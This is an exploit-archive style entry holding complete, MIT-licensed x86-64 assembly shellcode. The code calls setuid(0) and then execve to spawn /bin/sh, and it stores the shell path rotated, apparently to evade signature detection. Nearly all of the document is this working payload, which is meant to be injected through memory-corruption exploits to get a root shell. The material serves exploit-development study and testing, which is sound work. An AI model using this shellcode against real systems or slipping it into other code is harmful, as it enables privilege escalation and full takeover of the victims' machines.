Linux/x86-64 - Polymorphic Setuid(0) & Execve(/bin/sh) Shellcode (31 bytes)

;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the “Software”), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
 
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post: 
; http://a41l4.blogspot.ca/2017/03/polysetuidexecve1434.html
 
global _start 
 
section .text
 
_start:
; setuid(0)
    xor edi,edi
    push rdi ; null terminator for the following string 
    push 105
    pop rax
    ; push /bin//sh in reverse 
    mov rbx,0xd0e65e5edcd2c45e
    syscall
 
; execve
    ror rbx,1
    mov al,59
    push rbx
    xchg esi,edi
    push rsp
    cdq 
    ; store /bin//sh address in RDI, points at string
    pop rdi
    ; Call the Execve syscall 
    syscall